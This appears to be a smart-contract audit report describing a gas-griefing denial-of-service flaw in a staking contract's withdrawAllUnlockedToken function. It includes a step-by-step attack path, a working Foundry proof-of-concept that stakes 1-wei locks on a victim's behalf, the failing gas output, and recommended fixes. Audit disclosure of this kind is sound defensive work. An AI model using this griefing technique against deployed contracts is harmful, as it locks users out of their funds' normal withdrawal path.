Crazy Green Deer

medium

# `Lock.withdrawAllUnlockedToken` can be DoS attacked

## Summary
`Lock.withdrawAllUnlockedToken()` iterates over all the locks of a user. If the number of locks is too large, the transaction will fail due to an out-of-gas error. Since one can stake on behalf of another user, an attacker can create a lot of 1 wei locks to DoS attack the `Lock.withdrawAllUnlockedToken()` function for a user.

## Vulnerability Detail
[`withdrawAllUnlockedToken()`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L409-L430) calls [`locklist.getLocks(msg.sender, page, lockCount)`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L416), where `lockCount` is obtained from [`locklist.lockCount(msg.sender)`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L410). 
Essentially, `withdrawAllUnlockedToken()` iterates over all the locks of a certain user. If the user has too many locks, `withdrawAllUnlockedToken()` could run out of gas.

An attacker could exploit this by staking on behalf of the victim, gas griefing and cause DoS in the `withdrawAllUnlockedToken()` function.

The attack path is as follows:
1. The attacker creates a stake lock for the victim by calling [`stake()`](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L245-L251) and passing the user's address to the `onBehalfOf` parameter and 1 wei to the `amount` parameter.
2. The attacker repeats step 1 many times, causing the gas cost for the victim to call `withdrawAllUnlockedToken()` to exceed the block gas limit.
3. The `withdrawAllUnlockedToken()` function is now in a DoS state for the victim. The victim now can only use `withdrawUnlockedTokenById()` to withdraw the unlocked lockIds one by one.

### Proof of Concept
```solidity
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Lock.sol";
import "../src/libraries/LockList.sol";
import "../src/mock/MockToken.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract PoC is Test {
    MockToken stakingToken;
    MockToken rewardToken;

    Lock lock;
    LockList lockList;

    address deployer = makeAddr("deployer");
    address treasury = makeAddr("treasury");

    address attacker = makeAddr("attacker");
    address user = makeAddr("user");

    function setUp() public {
        vm.startPrank(deployer);
        {
            // mock tokens
            stakingToken = new MockToken("stakingToken", "stkToken", 18);
            vm.label(address(stakingToken), "staking token");

            rewardToken = new MockToken("rewardToken", "rewardTKN", 18);
            vm.label(address(rewardToken), "reward token");
        }
        lockList = new LockList(deployer);
        {
            // deploy Lock
            Lock impl = new Lock();
            bytes memory data = abi.encodeCall(Lock.initialize, (address(lockList), 15_000, 35_000, deployer));
            ERC1967Proxy proxy = new ERC1967Proxy(address(impl), data);
            lock = Lock(address(proxy));
        }
        lock.setStakingToken(address(stakingToken));
        lock.addReward(address(rewardToken));
        {
            // set up lockPeriods
            uint256[] memory lockPeriod = new uint256[](3);
            lockPeriod[0] = 30 days;
            lockPeriod[1] = 720 days;
            lockPeriod[2] = 360 days;
            uint256[] memory lockMultiplier = new uint256[](3);
            lockMultiplier[0] = 1;
            lockMultiplier[1] = 1;
            lockMultiplier[2] = 2;
            lock.setLockTypeInfo(lockPeriod, lockMultiplier);
        }
        lock.setTreasury(treasury);
        lockList.transferOwnership(address(lock));
        vm.stopPrank();

        {
            uint256 amount = 1 ether;
            stakingToken.mint(user, amount);

            // user has an unlockable stake lock
            vm.startPrank(user);
            stakingToken.approve(address(lock), amount);
            lock.stake(amount, user, 0);
            lock.exitLateById(0);
            vm.stopPrank();

            vm.warp(block.timestamp + 30 days + 1);
        }
    }

    function test_GasGriefing() public {
        // attacker gas griefing by create a lot of locks
        uint256 iterations = 260;
        stakingToken.mint(attacker, iterations);

        vm.startPrank(attacker);
        stakingToken.approve(address(lock), iterations);
        for (uint256 i; i < iterations; i++) {
            lock.stake(1, user, 0);
        }
        vm.stopPrank();

        // test gas usage
        uint256 gasBlockLimit = 30_000_000;
        uint256 gasBefore = gasleft();
        vm.prank(user);
        lock.withdrawAllUnlockedToken();
        uint256 gasUsed = gasBefore - gasleft();
        assertLt(gasUsed, gasBlockLimit);
    }
}
```

Run the above test with command:

```bash
forge test --mc PoC
```

will get the following result:

```bash
[FAIL. Reason: assertion failed: 31764316 >= 30000000] test_GasGriefing() (gas: 79103736)
```

This demonstrate that by creating 260 locks for the victim, the attacker can gas grief and cause DoS in the `withdrawAllUnlockedToken()` function for the victim.

## Impact

Malicious users can DoS the `withdrawAllUnlockedToken()` function for a victim by creating many 1 wei locks (as seen in the above poc, 260 locks will suffice), causing gas griefing. The attack cost is minimal, as each lock requires only 1 wei. Moreover, If the attack is launched on layer 2 (the project is going to be deployed in some l2s according to the [README](https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/README.md?plain=1#L10-L11)), the gas cost would be low. 

For the victim to recover the `withdrawAllUnlockedToken()` function, they need to manually exit the stuffed locks, which is tedious and frustrating. This DoS attack damages the project's reputation by disrupting the user's normal flow.

## Code Snippet

https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L409-L430

## Tool used

Manual Review

## Recommendation

To fix this issue, require a minimum stake amount (e.g., 1e18 wei) in the `stake()` function. This would significantly increasing the attacker's cost.
Moreover, it is also recommended to optimize the gas usage in the `withdrawAllUnlockedToken()` function and remove redundant `while` loops.